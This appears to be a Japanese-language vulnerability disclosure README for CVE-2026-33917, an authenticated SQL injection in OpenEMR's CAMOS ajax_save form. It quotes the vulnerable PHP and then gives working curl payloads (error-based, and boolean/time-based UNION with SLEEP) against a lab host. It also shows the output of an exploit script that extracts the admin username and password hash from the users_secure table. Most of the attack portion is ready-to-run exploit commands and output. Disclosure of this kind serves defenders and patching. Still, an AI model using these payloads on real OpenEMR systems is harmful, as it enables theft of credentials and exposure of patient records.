
CVE-2026-33917: OpenEMR <8.0.0.3 におけるSQLインジェクションの脆弱性
弱点 CWE-89
SQLコマンドで使用される特殊要素の不適切な無害化('SQLインジェクション') この製品は、上流コンポーネントからの外部の影響を受ける入力を使用してSQLコマンドの全部または一部を構築しますが、下流コンポーネントに送信される際に、意図されたSQLコマンドを変更する可能性のある特殊要素を無害化しない、または誤って無害化します。ユーザーが制御可能な入力においてSQL構文の十分な削除または引用符付けがない場合、生成されたSQLクエリは、これらの入力を通常のユーザーデータではなくSQLとして解釈させる可能性があります。詳細はMITREでご確認ください。
OpenEMR 8.0.0.2には、認証された攻撃者によって悪用される可能性のある、ajax_save CAMOSフォームにおけるSQLインジェクションの脆弱性が存在します。この脆弱性は、CAMOSフォームのajax_saveページにおける入力検証の不備が原因で発生します。
この脆弱性は、contentパラメータ内のユーザー提供入力が適切なサニタイズなしにSQLクエリへ直接連結されるajax_save CAMOSフォームで発生します。これにより、攻撃者は悪意のあるSQLコードを注入することができます。
同じインジェクション、エントリポイント、および引数を持つSQLステートメントが3つあります。
この脆弱性は以下のファイルに影響します:
interface/forms/CAMOS/content_parser.phpの127行、137行、21行interface/forms/CAMOS/content_parser.php 186行interface/forms/CAMOS/ajax_save.php 28行ajax_saveページ、ユーザー入力を伴う脆弱なprocess_commands関数の呼び出し
$field_names = ['category' => $_POST["category"], 'subcategory' => $_POST["subcategory"], 'item' => $_POST["item"], 'content' => $_POST['content']];
$camos_array = [];
process_commands($field_names['content'], $camos_array);
function process_commands(&$string_to_process, &$camos_return_data)
{
...
if (preg_match("/\/\*\s*date_add\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) {
$to_replace = $matches[0];
$days = $matches[1];
$query = "select date_format(date_add(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?";
$statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]);
if ($result = sqlFetchArray($statement)) {
$string_to_process = str_replace($to_replace, $result['date'], $string_to_process);
}
}
if (preg_match("/\/\*\s*date_sub\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) {
$to_replace = $matches[0];
$days = $matches[1];
$query = "select date_format(date_sub(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?";
$statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]);
if ($result = sqlFetchArray($statement)) {
$string_to_process = str_replace($to_replace, $result['date'], $string_to_process);
}
}
...
}
content_parserモジュール、addApptの呼び出し
if (trim($comm_array[0]) == 'appt') {
array_shift($comm_array);
$days = trim((string) array_shift($comm_array));
$time = trim((string) array_shift($comm_array));
addAppt($days, $time);
}
function addAppt($days, $time)
{
$sql = "insert into openemr_postcalendar_events (pc_pid, pc_eventDate," .
"pc_comments, pc_aid,pc_startTime) values (?, date_add(current_date(), interval " . add_escape_custom($days) .
" day),'from CAMOS', ?, ?)";
return sqlInsert($sql, [$_SESSION['pid'], $_SESSION['authUserID'], $time]);
}
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=f8cee855217b5740619ad53f0879da5b" --data 'csrf_token_form=a7db83759f5b68d1a9c0bb3562c14cbafb6d8f07&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3Ainjection"payload%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
SQL Statement failed on preparation: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and ...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/content_parser.php at 127:sqlStatement<br />/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/ajax_save.php at 28:process_commands(/*date_add::injection"payload*/,Array)
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS</span><br />
┌──(kali㉿kali)-[~]
└─$
select date_format(date_add(date, interval <injection> day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?
ブールベースのエクスプロイトの例:
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=0%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<font color=red><b>submitted: 1772104393</b></font>
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=1%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS</span><br />
┌──(kali㉿kali)-[~]
└─$
/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/
┌──(kali㉿kali)-[~]
└─$ python3 exploit2.py 172.18.0.3 372430245364b5ee0c46d7d24b5814f6 37fd2f55723113916cfd4ac17ab1fe7d41a5872a users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$
https://www.cve.org/CVERecord?id=CVE-2026-33917
このプロジェクトはMITライセンスの下でライセンスされています。詳細についてはLICENSEファイルを参照してください。
論文を引用してください:https://github.com/ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0